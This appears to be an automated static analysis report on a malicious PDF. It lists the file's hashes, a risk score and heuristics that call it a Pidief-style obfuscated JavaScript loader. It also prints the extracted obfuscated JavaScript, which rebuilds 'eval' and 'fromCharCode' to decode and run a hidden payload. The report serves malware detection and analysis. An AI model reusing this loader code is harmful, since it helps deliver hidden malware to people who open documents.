Malicious PDF — malware analysis report

Static analysis result for SHA-256 e097ea3beef4d3d8…

MALICIOUS

PDF

48.0 KB Authoring application: substr First seen: 2026-05-08
MD5: 74d73d7f0dd48b7f2cb17a024ba47a52 SHA-1: f4bf6db2fe08037e423503dac2a3c25636364abe SHA-256: e097ea3beef4d3d87a7a78078e91deb12ee45f80695a599cb91ef475286aecb1
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBD23 480 bytes
SHA-256: bab678fce9e6a74c0334a465e44e7b41785005078248023f1d7cb494278456b7
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('|','a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[2],t[0]);
e=v[v]()[s];
vxyes=e(v[4]+'i'.concat(v[4],t));
q=vxyes[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.fro';
d+=q;
pkl=e(d);
q=vxyes[v](t.length+12)[v[0]+e(v[0]+'u'+'b'+'jec'+v[4])+'t']('c');
k=q[t[0].concat('en'+'gth')];
i=t.length-2;
while(i<k){
	zqldf = 1*(q[i]);
	i++;
	zqldf -= (-1)*(q[i]);
	s2 += pkl(zqldf);
	i++;
}
e(s2);

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